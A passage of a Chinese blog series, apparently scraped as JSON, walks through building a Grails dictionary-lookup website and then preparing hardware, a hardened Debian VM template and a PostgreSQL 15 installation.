(6)形ㄒㄧㄥˊ容ㄖㄨㄥˊ轉ㄓㄨㄢˇ圈ㄑㄩㄢ的˙ㄉㄜ樣ㄧㄤˋ子ㄗˇ。如ㄖㄨˊ：「團ㄊㄨㄢˊ團ㄊㄨㄢˊ轉ㄓㄨㄢˋ」、「團ㄊㄨㄢˊ團ㄊㄨㄢˊ打ㄉㄚˇ轉ㄓㄨㄢˋ」。 (7)軍ㄐㄩㄣ隊ㄉㄨㄟˋ的˙ㄉㄜ編ㄅㄧㄢ制ㄓˋ之ㄓ一ㄧ。如ㄖㄨˊ：「軍ㄐㄩㄣ團ㄊㄨㄢˊ」。 (8)量ㄌㄧㄤˋ詞ㄘˊ。A\u0026gt;用ㄩㄥˋ於ㄩˊ計ㄐㄧˋ算ㄙㄨㄢˋ團ㄊㄨㄢˊ狀ㄓㄨㄤˋ物ㄨˋ的˙ㄉㄜ單ㄉㄢ位ㄨㄟˋ。如ㄖㄨˊ：「一ㄧˋ團ㄊㄨㄢˊ毛ㄇㄠˊ線ㄒㄧㄢˋ」、「兩ㄌㄧㄤˇ團ㄊㄨㄢˊ泥ㄋㄧˊ巴ㄅㄚ」。B\u0026gt;用ㄩㄥˋ於ㄩˊ計ㄐㄧˋ算ㄙㄨㄢˋ成ㄔㄥˊ團ㄊㄨㄢˊ狀ㄓㄨㄤˋ態ㄊㄞˋ的˙ㄉㄜ單ㄉㄢ位ㄨㄟˋ。「一ㄧˋ團ㄊㄨㄢˊ亂ㄌㄨㄢˋ」、「一ㄧˋ團ㄊㄨㄢˊ和ㄏㄜˊ氣ㄑㄧˋ」、「擠ㄐㄧˇ成ㄔㄥˊ一ㄧˋ團ㄊㄨㄢˊ」。\u0026#39; ); INSERT INTO public.dict ( word, radical, total_strokes, out_strokes, mpc, explanation) VALUES(\u0026#39;圖\u0026#39;, \u0026#39;囗\u0026#39;,14, 11, \u0026#39;ㄊㄨˊ\u0026#39;, \u0026#39;(1) 由ㄧㄡˊ各ㄍㄜˋ種ㄓㄨㄥˇ形ㄒㄧㄥˊ狀ㄓㄨㄤˋ、線ㄒㄧㄢˋ條ㄊㄧㄠˊ、色ㄙㄜˋ彩ㄘㄞˇ所ㄙㄨㄛˇ組ㄗㄨˇ成ㄔㄥˊ的˙ㄉㄜ畫ㄏㄨㄚˋ面ㄇㄧㄢˋ。如ㄖㄨˊ：「地ㄉㄧˋ圖ㄊㄨˊ」、「圖ㄊㄨˊ畫ㄏㄨㄚˋ」、「圖ㄊㄨˊ片ㄆㄧㄢˋ」、「插ㄔㄚ圖ㄊㄨˊ」、「圖ㄊㄨˊ表ㄅㄧㄠˇ」。 (2) 謀ㄇㄡˊ取ㄑㄩˇ、希ㄒㄧ望ㄨㄤˋ得ㄉㄜˊ到ㄉㄠˋ。如ㄖㄨˊ：「圖ㄊㄨˊ謀ㄇㄡˊ」、「企ㄑㄧˋ圖ㄊㄨˊ」、「唯ㄨㄟˊ利ㄌㄧˋ是ㄕˋ圖ㄊㄨˊ」、「貪ㄊㄢ圖ㄊㄨˊ名ㄇㄧㄥˊ利ㄌㄧˋ」。 (3) 計ㄐㄧˋ謀ㄇㄡˊ、計ㄐㄧˋ策ㄘㄜˋ。如ㄖㄨˊ：「良ㄌㄧㄤˊ圖ㄊㄨˊ」、「鴻ㄏㄨㄥˊ圖ㄊㄨˊ大ㄉㄚˋ展ㄓㄢˇ」。\u0026#39; ); 資料庫完成系統運作的基礎資料之後，接下來是新增 Domain Class。在 intellij idea 新增方式如下圖。\n在domain/dict資料夾中按下右鍵。 選擇新增Grails Domain Class。 輸入要新增的gsp檔案名稱。 這邊簡單說明一下 Grails Domain Class 的內容框架。\n基本上 Grails Domain Class 是一個 JavaBean 的內容演伸出來的，在這個框架基礎上有兩個重要的項目: mapping、constraints\nmapping: 主要描述 變數 對應到資料庫中的資歷表欄位。如果在 Domain Class 中沒有新增 static mapping ，預設是 駝峰命名規則 對應 下滑線命名規則 constraints: 主要描述 變數的內容限制。如：長度(maxSize:4)、常見文字規則(url,email)等。預設都是 nullable:false, blank: false。 程式碼內容如下\ngrails-app/domain/dict/Dict.groovy 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 package dict class Dict { Date dateCreated = new Date() Date lastUpdated String word String radical int totalStrokes int outStrokes String mpc String explanation static mapping = { table \u0026#39;dict\u0026#39; comment: \u0026#39;字典\u0026#39; version true id column: \u0026#39;id\u0026#39; dateCreated column: \u0026#39;date_created\u0026#39;, comment: \u0026#39;建檔時間\u0026#39; lastUpdated column: \u0026#39;last_updated\u0026#39;, comment: \u0026#39;最後異動時間\u0026#39; word column: \u0026#39;word\u0026#39;, comment: \u0026#39;單字\u0026#39; radical column: \u0026#39;radical\u0026#39;, comment: \u0026#39;部首\u0026#39; totalStrokes column: \u0026#39;total_strokes\u0026#39;, comment: \u0026#39;總筆畫數\u0026#39; outStrokes column: \u0026#39;out_strokes\u0026#39;, comment: \u0026#39;部首外筆畫\u0026#39; mpc column: \u0026#39;mpc\u0026#39;, comment: \u0026#39;注音\u0026#39; explanation column: \u0026#39;explanation\u0026#39;, comment: \u0026#39;解釋\u0026#39;, type: \u0026#39;text\u0026#39; } static constraints = { dateCreated\t(nullable:false, blank: false) lastUpdated\t(nullable:false, blank: false) word\t(nullable:false, blank: false, maxSize: 1) radical\t(nullable:false, blank: false, maxSize: 1) totalStrokes\t(nullable:false, blank: false) outStrokes\t(nullable:false, blank: false) mpc\t(nullable:false, blank: false, maxSize: 4) explanation\t(nullable:false, blank: false) } } 參考資料 # openhome-定義類別\nDomain Class Usage\nConstraints Usage\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/1000-15.%E7%B6%B2%E7%AB%99%E9%96%8B%E7%99%BC-5-mvc-2-domain/","section":"Posts","summary":"來架個網站吧-15.網站開發-5-MVC-2-Domain # tags: 來架個網站吧 Grails # 我是目錄\n","title":"來架個網站吧-15.網站開發-5-MVC-2-Domain","type":"post"},{"content":" 來架個網站吧-16.網站開發-6-MVC-3-Service # tags: 來架個網站吧 Grails # 我是目錄\n新增 Service # 在Service/dict資料夾中按下右鍵。 選擇新增Grails Domain Class。 程式說明 # 在 Service 的文件中主要是處理資料流程，一般API並不會直接觸及Service。在這邊我比較請向處理單一 Domain Class 的資料處理，也就是說有一張 Domain 就會對一個 Service。\nService 通常會有事物流程 @Transactional，在執行 新增、修改、刪除 時還蠻常用到。\n而在程式中 GrailsParameterMap ，是前端表單傳入的數值，繼承自 java.util.Map，回傳的資料如下:\n1 [searchWord:一, controller:dict, action:filter] 查詢的方式，這邊我是用 createCriteria 來操作查詢。完成執行查詢之後，將資料轉成 bootstrap table 所需要的資料格式，如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 { \u0026#34;total\u0026#34;: 1, \u0026#34;rows\u0026#34;: [ { \u0026#34;id\u0026#34;: 1, \u0026#34;word\u0026#34;: \u0026#34;一\u0026#34;, \u0026#34;radical\u0026#34;: \u0026#34;一\u0026#34;, \u0026#34;totalStrokes\u0026#34;: 1, \u0026#34;outStrokes\u0026#34;: 0, \u0026#34;mpc\u0026#34;: \u0026#34;一\u0026#34;, \u0026#34;explanation\u0026#34;: \u0026#34;....\u0026#34; } ] } grails-app/services/dict/DictService.groovy 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 package dict import grails.gorm.transactions.Transactional import grails.web.servlet.mvc.GrailsParameterMap @Transactional //事物 class DictService { LinkedHashMap filter(GrailsParameterMap params) { LinkedHashMap result = [:] String word = params?.searchWord def dictL = Dict.createCriteria().list(params){ if(word){ eq(\u0026#34;word\u0026#34;,word) } } //將資料轉成 `bootstrap table` 所需要的資料格式 result.total = dictL.totalCount result.rows = dictL.collect { it -\u0026gt; [ id : it?.id, word : it?.word, radical : it?.radical, totalStrokes: it?.totalStrokes, outStrokes : it?.outStrokes, mpc : it?.mpc, explanation : it?.explanation, ] } return result } } 參考資料 # Grials createCriteria\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/1000-16.%E7%B6%B2%E7%AB%99%E9%96%8B%E7%99%BC-6-mvc-3-service/","section":"Posts","summary":"來架個網站吧-16.網站開發-6-MVC-3-Service # tags: 來架個網站吧 Grails # 我是目錄\n","title":"來架個網站吧-16.網站開發-6-MVC-3-Service","type":"post"},{"content":" 來架個網站吧-17.網站開發-7-MVC-4-Controller # tags: 來架個網站吧 Grails # 我是目錄\n今天讓我們回到第14天一開始建立的 Controller 。\nGrails Controller 是一般API會直接觸及的程式，在這邊主要是處理業務流程。Controller 中有兩項比較常被用到: render、redirect。\nrender render 是表明要回傳的資料。資料可以是TEXT、JSON、view、templates等形式。在程式中的寫會是如下:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 class ExampleController { def dictService def index(){ render(view: \u0026#34;example\u0026#34;) } /** * 查詢 * @return */ JSON filter(){ LinkedHashMap result = dictService.filter(params) render result as JSON } } redirect redirect 顧名思義是跳轉的概念。會在 Web Server 中使用 HTTP 通訊協定重新導向到新增目的地。在程式中的寫會是如下:\n1 2 3 4 5 6 7 8 9 10 11 class ExampleController { def index(){ redirect controller: \u0026#39;dict\u0026#39;, action: \u0026#39;index\u0026#39; ,id: \u0026#39;test\u0026#39; } def goToGoogle(){ redirect(url: \u0026#34;http://www.google.com\u0026#34;) } } 在這邊有草過一個坑: 在 redirect 中參數 id 傳遞中文需要進行 URL encode，不然出現下列類似錯誤\n1 tomcat The Unicode character [主] at code point [20,027] cannot be encoded as it is outside the permitted range of 0 to 255。 出現這個問題，主要是在RFP822 3.1.2章節中 HTTP 表頭規範需要在 0到 255 的ASCII代碼範圍中，且不包含小數點及冒號。\n今天的程式進度如下:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package dict import grails.converters.JSON class DictController { def dictService def index() { } /** * 查詢 * @return */ JSON filter(){ LinkedHashMap result = dictService.filter(params) render result as JSON } } 參考資料 # render\nredirect\nAPI 設計時必須注意的 HTTP header 底線問題\nRFP822 3.1.2: STRUCTURE OF HEADER FIELDS\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/1000-17.%E7%B6%B2%E7%AB%99%E9%96%8B%E7%99%BC-7-mvc-4-controller/","section":"Posts","summary":"來架個網站吧-17.網站開發-7-MVC-4-Controller # tags: 來架個網站吧 Grails # 我是目錄\n","title":"來架個網站吧-17.網站開發-7-MVC-4-Controller","type":"post"},{"content":" 來架個網站吧-18-網站開發-8-最後的最後 # tags: 來架個網站吧 Grails # 我是目錄\n前一個星期大致上把Grails 的框架很概略的帶過一遍，這邊我先在 gsp 頁面把 dictController.filter 寫進入。最後成果如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 \u0026lt;%@ page contentType=\u0026#34;text/html;charset=UTF-8\u0026#34; %\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta name=\u0026#34;layout\u0026#34; content=\u0026#34;dict-main\u0026#34;/\u0026gt; \u0026lt;link href=\u0026#34;https://unpkg.com/bootstrap-table@1.22.1/dist/bootstrap-table.min.css\u0026#34; rel=\u0026#34;stylesheet\u0026#34;\u0026gt; \u0026lt;script src=\u0026#34;https://unpkg.com/bootstrap-table@1.22.1/dist/bootstrap-table.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;div class=\u0026#34;container\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;row\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;col\u0026#34;\u0026gt; \u0026lt;g:form name=\u0026#34;searchForm\u0026#34; \u0026gt; \u0026lt;div class=\u0026#34;form-group input-group\u0026#34;\u0026gt; \u0026lt;h3\u0026gt;\u0026lt;label for=\u0026#34;searchWord\u0026#34;\u0026gt;請輸入查詢的詞彙\u0026lt;/label\u0026gt;\u0026lt;/h3\u0026gt; \u0026lt;div class=\u0026#34;input-group mb-3\u0026#34;\u0026gt; \u0026lt;g:textField id=\u0026#34;searchWord\u0026#34; name=\u0026#34;searchWord\u0026#34; class=\u0026#34;form-control\u0026#34; aria-describedby=\u0026#34;searchWordHelp\u0026#34; /\u0026gt; \u0026lt;div class=\u0026#34;input-group-append\u0026#34;\u0026gt; \u0026lt;g:submitButton id=\u0026#34;searchButton\u0026#34; name=\u0026#34;searchButton\u0026#34; value=\u0026#34;查詢\u0026#34; class=\u0026#34;btn btn-outline-primary\u0026#34; type=\u0026#34;button\u0026#34; onclick=\u0026#34;refreshTable()\u0026#34; /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;small id=\u0026#34;searchWordHelp\u0026#34; class=\u0026#34;form-text text-muted\u0026#34;\u0026gt;嘗試輸入: 天\u0026lt;/small\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/g:form\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;row\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;col\u0026#34;\u0026gt; \u0026lt;h3\u0026gt;查詢結果\u0026lt;/h3\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;row\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;col\u0026#34;\u0026gt; \u0026lt;table id=\u0026#34;resultTable\u0026#34; data-toggle=\u0026#34;table\u0026#34;\u0026gt; \u0026lt;thead\u0026gt; \u0026lt;tr class=\u0026#34;tr-class\u0026#34;\u0026gt; \u0026lt;th data-field=\u0026#34;word\u0026#34; data-formatter=\u0026#34;wordFormatter\u0026#34; data-valign=\u0026#34;middle\u0026#34;\u0026gt;單字(注音)\u0026lt;/th\u0026gt; \u0026lt;th data-field=\u0026#34;radical\u0026#34; data-valign=\u0026#34;middle\u0026#34;\u0026gt;部首\u0026lt;/th\u0026gt; \u0026lt;th data-field=\u0026#34;totalStrokes\u0026#34; data-formatter=\u0026#34;totalStrokesFormatter\u0026#34; data-valign=\u0026#34;middle\u0026#34;\u0026gt;總筆畫數/部首外筆畫\u0026lt;/th\u0026gt; \u0026lt;th data-field=\u0026#34;explanation\u0026#34; data-valign=\u0026#34;middle\u0026#34;\u0026gt;解釋\u0026lt;/th\u0026gt; \u0026lt;/tr\u0026gt; \u0026lt;/thead\u0026gt; \u0026lt;/tbody\u0026gt; \u0026lt;/table\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; function refreshTable() { jQuery(\u0026#39;#resultTable\u0026#39;).bootstrapTable(\u0026#39;refresh\u0026#39;, { url: \u0026#39;${createLink(controller: \u0026#34;dict\u0026#34;,action: \u0026#34;filter\u0026#34;)}/?\u0026#39; + jQuery(\u0026#39;#searchForm\u0026#39;).serialize() }); } function wordFormatter(value, row) { let returnVal = row.word + \u0026#39;(\u0026#39; + row.mpc + \u0026#39;)\u0026#39;; return returnVal; } function totalStrokesFormatter(value, row) { let returnVal = row.totalStrokes + \u0026#39;/\u0026#39; + row.outStrokes ; return returnVal; } \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 執行完成後，操作一次程式沒有超出預期的流程，接下來就可以把專案包成 war 檔準備發佈出去了。\nGrails 包 war 的指令如下\n1 grails test war 當然在 intellij idea 可以透過下面方式執行\n在 command line 輸入 test war 建立Configuation 後執行 執行後在 Run Console 出現下列訊息:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 /usr/lib/jvm/java-1.17.0-openjdk-amd64/bin/java ... SLF4J: Defaulting to no-operation (NOP) logger implementation SLF4J: See http://www.slf4j.org/codes.html#StaticLoggerBinder for further details. \u0026gt; Task :assetCompile \u0026gt; Task :compileJava NO-SOURCE \u0026gt; Task :compileGroovy \u0026gt; Task :buildProperties \u0026gt; Task :processResources UP-TO-DATE \u0026gt; Task :classes \u0026gt; Task :bootWarMainClassName \u0026gt; Task :compileWebappGroovyPages NO-SOURCE \u0026gt; Task :compileGroovyPages \u0026gt; Task :bootWar \u0026gt; Task :war \u0026gt; Task :assemble Deprecated Gradle features were used in this build, making it incompatible with Gradle 8.0. You can use \u0026#39;--warning-mode all\u0026#39; to show the individual deprecation warnings and determine if they come from your own scripts or plugins. See https://docs.gradle.org/7.2/userguide/command_line_interface.html#sec:command_line_warnings BUILD SUCCESSFUL in 27s 8 actionable tasks: 7 executed, 1 up-to-date |Built application to build/libs using environment: test Process finished with exit code 0 而包好war檔會在 build/libs 目錄中。包好war檔之後接下來就可以準備部署到正式環境了！\n對於整個系統生命週期而言，完成開發後才是真正的開始。\n開發完成後，通常會有許多小蟲蟲附加在新的成品裡面。通常造成這種現況成因有可能是工程人員熬夜加班趕工功能，也有可能是甲方與乙方溝通不良導致雙方對於系統更能定義的落差造成的。即使沒有明顯的系統問題，在營運期間系統也會因時代變遷讓系統功能漸漸顯得落後、老舊、操作不便，在網站系統中更會發生瀏覽器不再支援某項功能，讓網站系統發生嚴重異常，例如：IE Only Syetem。以上種種因素都會後續維護、功能增修直至系統不再被使用。\n網站開發的部份就先到這裡，接下來換成網站營運的部份。\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/1000-18-%E7%B6%B2%E7%AB%99%E9%96%8B%E7%99%BC-8-%E6%9C%80%E5%BE%8C%E7%9A%84%E6%9C%80%E5%BE%8C/","section":"Posts","summary":"來架個網站吧-18-網站開發-8-最後的最後 # tags: 來架個網站吧 Grails # 我是目錄\n","title":"來架個網站吧-18-網站開發-8-最後的最後","type":"post"},{"content":" 來架個網站吧-19.網站環境建置-硬體設備準備 # tags: 來架個網站吧 # 我是目錄\n依現在的 x86 硬體設備大多都可以架設網站了，與機臺式的機器相比只差別穩定與維護容易的差別。\n先講講我認為的差別在於「降低硬體損壞造成系統異常風險」。\n以機架式伺服器: DELL R720 來說，硬碟通常是做Raid5降硬碟損壞造成資料遺失風險，在電源供應器也有兩顆互為備援，降低電源故障影響系統的風險。一般零售的個人電腦大多不會有複數零件以上的設計。但是對於實驗性質的網站來說不會是一個問題，因為系統癱瘓是可以被忍受的。\n以這次實驗性質的網站中，因為預算十分有限，只能從二手網收購汰換下來的電腦架設。總計約2000元，以下是我的規格。\nCPU: i5-7400 CPU RAM: DDR4 16GB Disk: 2T 硬體設備主要是用Proxmox架設虛擬機平台，在計算硬體可用效能空間來說，記憶體會預先被虛擬機平台佔用調2GB，硬碟空間大約會被佔用約80GB(還要預留存放ISO image)，因此以下是實際可供虛擬機使用的效能空間：\nCPU: i5-7400 CPU RAM: DDR4 14GB Disk: 1.9T 在過往的經驗有拿過ACRE Veriton L480 (RAM: 4GB)做為虛擬機平台，但是部署完一個VM就差不多用完記憶體，因此在這邊建議要建立虛擬機平台記憶體需要16GB以上有足夠的記憶體分配給虛擬機。\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/1000-19.%E7%B6%B2%E7%AB%99%E7%92%B0%E5%A2%83%E5%BB%BA%E7%BD%AE-%E7%A1%AC%E9%AB%94%E8%A8%AD%E5%82%99%E6%BA%96%E5%82%99/","section":"Posts","summary":"來架個網站吧-19.網站環境建置-硬體設備準備 # tags: 來架個網站吧 # 我是目錄\n","title":"來架個網站吧-19.網站環境建置-硬體設備準備","type":"post"},{"content":" 來架個網站吧-20.網站環境建置-架設虛擬機平台 # tags: 來架個網站吧 # 我是目錄\n虛擬機平台 # 虛擬機平台很多種，在自己在玩的環境可以準備自己熟悉會是想玩的就可以。通常常見的平台有下列幾項：\nVMWare Oracle VM Oracle VM VirtualBox KVM proxmox VMWare # 大家或許都有碰過，畢竟介面簡單容易上手，我覺得是他的特色。但是免費版本的 VMware Workstation Player中，我記得只要關閉虛擬機視窗後，虛擬機就會進入暫停狀態，我認為比較不合適作為這次題目的虛擬機平台。如果有錢買VMware Workstation Player Pro 或是 vsphere 真的很適合，這是目前我用過中最容易上手的虛擬機平台。\n功能可以參考這系列: IT系統建置 系列\nOracle VM # 這個比較冷門一點，但是重點是Free(自由的)。\n雖然是 Oracle 惡霸 推出的，功能上與 vsphere 相差不多，只是文件比較少，加上Oracle 未來也不在提供支援了，在這邊簡單提到一下。\nOracle VM VirtualBox # 這個我比較推薦給大家當作玩具玩，畢竟大部分的人通常家裡的電腦不會專門做虛擬機平台，VirtualBox可以在家裡的電腦中滿足對虛擬機的好奇。\nKVM # 等等，先說好我不是講KVM切換器。\n如果你跟我一樣是習慣用Linux 當作日常使用的作業系統，KVM Qemu Libvirt 會是一個很合適的選項，技術資源相當豐富(但是絕大多是英文)。而且可以玩一些黑技術，如：X群暉、X Apple、X esxi\u0026hellip;\u0026hellip;模擬一些昂貴平台等，原則上只要是 類unix系統 為底的平台都可以模擬。我主要是拿來研究功能導入，節省新設備導入的時間成本。\nproxmox # proxmox 作為開源的虛擬平台，很適合拿來做網站建置。操作容易上手，在中文文件也豐富，只要會安裝windows就會安裝 proxmox(安裝步驟只要一直按下一步就好)。\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/1000-20.%E7%B6%B2%E7%AB%99%E7%92%B0%E5%A2%83%E5%BB%BA%E7%BD%AE-%E6%9E%B6%E8%A8%AD%E8%99%9B%E6%93%AC%E6%A9%9F%E5%B9%B3%E5%8F%B0/","section":"Posts","summary":"來架個網站吧-20.網站環境建置-架設虛擬機平台 # tags: 來架個網站吧 # 我是目錄\n","title":"來架個網站吧-20.網站環境建置-架設虛擬機平台","type":"post"},{"content":" 來架個網站吧-21.網站環境建置-建立虛擬機範本 # tags: 來架個網站吧 # 我是目錄\n建立網站環境前，建議可以預先建立網站環境範本，未來在部署資料庫、應用程式伺服器等服務可以事半功倍。接下來就是我自己常用的設定。\n事前規劃 # 我的範本規劃如下\nOS: Debian 12 CPU: 4Core Ram: 4GB Disk: 50GB /tmp /var: 依據TWGCB-01-008-0008 /var/tmp: 依據TWGCB-01-008-0009 /var/log: 依據TWGCB-01-008-0013 /var/log/audit: 依據TWGCB-01-008-0014 /home: 依據TWGCB-01-008-0015 common software: qemu-guest-agent vim firewalld wget curl autofs rsync tmux aide auditd 新增虛擬機 # 點擊「『Create VM」 輸入虛擬機名稱 選擇ISO image 勾選Qemu Agent 輸入預設要配置的磁碟大小 輸入要配置的CPU數量 輸入要配置的記憶體大小 確認網卡 確認虛擬機訊息 安裝作業系統 # 作業系統發行版本: Debian12 建議事項 # 安裝時處理項目 # 獨立磁區: 這部份主要是依據政府組態基準(GCB)設定，tmp是預防維運人員塞太大檔案造成系統功能異常。每的獨立磁區大小是實際狀況分配。 /tmp /var: 依據TWGCB-01-008-0008 /var/tmp: 依據TWGCB-01-008-0009 /var/log: 依據TWGCB-01-008-0013 /var/log/audit: 依據TWGCB-01-008-0014 /home: 依據TWGCB-01-008-0015 切割的完成的設定截圖如下：\n安裝詳細步驟詳細說明我在這邊就不一一敘述了，有興趣的可以讀篇文章:我的Linux生活日記 02-安裝Debian\n安裝後處理事項 # 安裝的通用軟體: 主要是依據過往經驗預先安裝的軟體。\nkvm guest: qemu-guest-agent 文字編輯器: vim 防火牆: firewalld 網路工具: wget curl 其他: autofs, tmux 預設啟用服務\nqemu-guest-agent 1 sudo systemctl enable qemu-guest-agent 1 2 3 # CentOS6 service qemu-ga start chkconfig qemu-ga on firewalld 1 sudo systemctl enable firewalld ssh登入信息-ssh login banner history 時間戳記 未配置前 1 2 3 4 5 6 7 pollochang@debian-12-template:~$ history 1 sudo apt update 2 sudo apt install qemu-guest-agent vim firewalld wget curl autofs rsync 3 sudo vim /etc/profile.d/ssh-login-info.sh 4 sudo chmod +x /etc/profile.d/ssh-login-info.sh 5 sudo apt install tmux 6 history 配置後 1 2 3 4 5 6 7 8 9 10 pollochang@debian-12-template:~$ history 1 2023-09-18 16:10:55 sudo -i 2 2023-09-18 16:10:55 sudo apt update 3 2023-09-18 16:10:55 sudo apt install qemu-guest-agent vim firewalld wget curl autofs rsync 4 2023-09-18 16:10:55 sudo vim /etc/profile.d/ssh-login-info.sh 5 2023-09-18 16:10:55 sudo chmod +x /etc/profile.d/ssh-login-info.sh 6 2023-09-18 16:10:55 sudo apt install tmux 7 2023-09-18 16:10:55 history 8 2023-09-18 16:10:55 sudo vim /etc/profile.d/history.sh 9 2023-09-18 16:10:58 history 配置腳本: /etc/profile.d/history.sh 1 2 3 4 5 # for setting history length see HISTSIZE and HISTFILESIZE in bash(1) HISTCONTROL=ignoredups:ignorespace HISTSIZE=50000 HISTFILESIZE=50000 HISTTIMEFORMAT=\u0026#39;%F %T \u0026#39; 1 sudo chmod 0755 /etc/profile.d/history.sh alias (Debian 預設沒有 ll) 配置腳本: /etc/profile.d/alias.sh 1 2 3 alias ll=\u0026#39;ls -alF\u0026#39; alias la=\u0026#39;ls -A\u0026#39; alias l=\u0026#39;ls -CF\u0026#39; 建立系統管理原帳號 CentOS6 建議\n1 2 3 4 groupadd -g 1000 jameschang useradd -u 1000 -g 1000 -d /home/jameschang -s /bin/bash jameschang usermod -aG wheel jameschang passwd jameschang 禁用 root 登入 CentOS6 建議\n/etc/ssh/sshd_config 1 PermitRootLogin no 1 service sshd restart 轉成範本 # 配置完成之後就可以轉成範本。\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/1000-21.%E7%B6%B2%E7%AB%99%E7%92%B0%E5%A2%83%E5%BB%BA%E7%BD%AE-%E5%BB%BA%E7%AB%8B%E8%99%9B%E6%93%AC%E6%A9%9F%E7%AF%84%E6%9C%AC/","section":"Posts","summary":"來架個網站吧-21.網站環境建置-建立虛擬機範本 # tags: 來架個網站吧 # 我是目錄\n","title":"來架個網站吧-21.網站環境建置-建立虛擬機範本","type":"post"},{"content":" 來架個網站吧-22.網站環境建置-安裝資料庫 # tags: 來架個網站吧 postgresql # 我是目錄\n昨天安裝完虛擬機範本之後，接下來就是安裝資料庫啦～\n安裝資料庫可以說是一向大工程。小弟我本人三生有幸，天地父母都很寵我～讓我在目前短短職涯6年多一點點可以碰到\n平價\n奢華\n古董\n這三個資料庫，資料庫對我來說是一項深水莫測，頂點遙不可及的領域，因此我還是碰了一兩下子。\n在我的目前職涯來說，平價的選項是: MySQL、Postgresql。這兩個資料庫部署可以很快，連上網路 sudo apt install mysql 等速成建立完成，立即在本機開發(H2說我更快！)。\n奢華莫非 Oracle 莫屬，之前碰了 Fujitsu SPARC M12 外加 Oracle 當時最新版的，當時一張光碟在手宛如北市套房在我一樣。(有更貴的聽說還有)也是我目前碰過性能最好的資料庫，他的 RAC (Real Application Clusters)架構真的可以讓資料庫可連線數量近乎無限擴張，可以不用擔心資料庫連線不足問題。 有可能會造成程式越寫越爛，佔用調超多資料庫連線\n古董目前就碰到 DB2 5.5 而已。\n上述畢竟是工作經驗而已，其實也沒有什麼好炫耀的，因為還只是小小菜鳥而已。轉化成自己的經驗才是寶貴。\n以下是我針對本期的平價菜單，希望大家可以飽食滿意。\n環境規劃 # OS:Debian 12 DB: Postgresql-15 安裝指令 # 安裝指令原則上，我是直接採取官方的說明。\n1 sudo apt install gnupg gnupg2 gnupg1 1 2 3 sudo sh -c \u0026#39;echo \u0026#34;deb http://apt.postgresql.org/pub/repos/apt $(lsb_release -cs)-pgdg main\u0026#34; \u0026gt; /etc/apt/sources.list.d/pgdg.list\u0026#39; wget --quiet -O - https://www.postgresql.org/media/keys/ACCC4CF8.asc | sudo apt-key add - sudo apt -y install postgresql-15 配置注意事項 # 在正式環境配置方面，大致上需要處理以下：\n資料庫獨立磁碟: 資料庫通常部署之後，短則一年、長則數十年(我遇過16年未有關機紀錄的磁碟陣列)，為了確保資料庫存放空間不被作業系統因素影響，會將資料獨立磁碟存放。目前看過最好的是硬碟櫃專屬存放(未來不希望看到更好的，我的手會抖)。 日誌調整: 近年資安事件頻傳，在資安稽核也加重力道在資料庫安全上。在日誌的保存及細節以倍受關注。 備份: 備份一定要有全量備份，盡量保存三代，本機盡可能保留最新一代。 防火牆設定: 千外不要把服務直接對外，要開白名單限制存取。 資料庫獨立磁碟 # 在這邊我就不多做說明，可以參考這篇的作法: 我的Linux生活日記 08-LVM-新增硬碟-LVM。\n假設都已經做完了，我這邊把資料硬碟放到 /db/postgresql目錄中，以下是指令操作及初始化資料庫指令:\n1 2 3 4 5 6 7 8 9 10 sudo mkdir -p /db/postgresql sudo mkdir -p /data/backup/pgarch sudo mkdir -p /var/log/postgresql/ sudo chown -R postgres:postgres /db/postgresql sudo chown -R postgres:postgres /var/log/postgresql/ sudo chown -R postgres: /data/backup/ systemctl stop postgresql sudo su - postgres /usr/lib/postgresql/15/bin/initdb -E utf8 -D /db/postgresql/instance-1 systemctl restart postgresql redhat 路徑 /var/lib/pgsql/15/data/\n在 Debian 中因為安裝完後會直接先初始化，所以要記得改一下配置: postgresql.conf 、 pg_hba.conf\n/etc/postgresql/15/main/postgresql.conf 1 data_directory = \u0026#39;/db/postgresql/instance-1\u0026#39; /etc/postgresql/15/main/pg_hba.conf 如果找不到 pg_hba.conf 檔案，可以用 CLI 查一下配置檔的實體路徑。\n1 psql -c \u0026#34;SHOW hba_file;\u0026#34; 在這邊建議依實際狀況做處理，以最小開放為原則。\n1 host all all 172.18.17.0/16 scram-sha-256 日誌調整 # postgresql 可以開啟以下設定，適度的紀錄連線資訊及執行歷程。\n1 2 3 mkdir -p 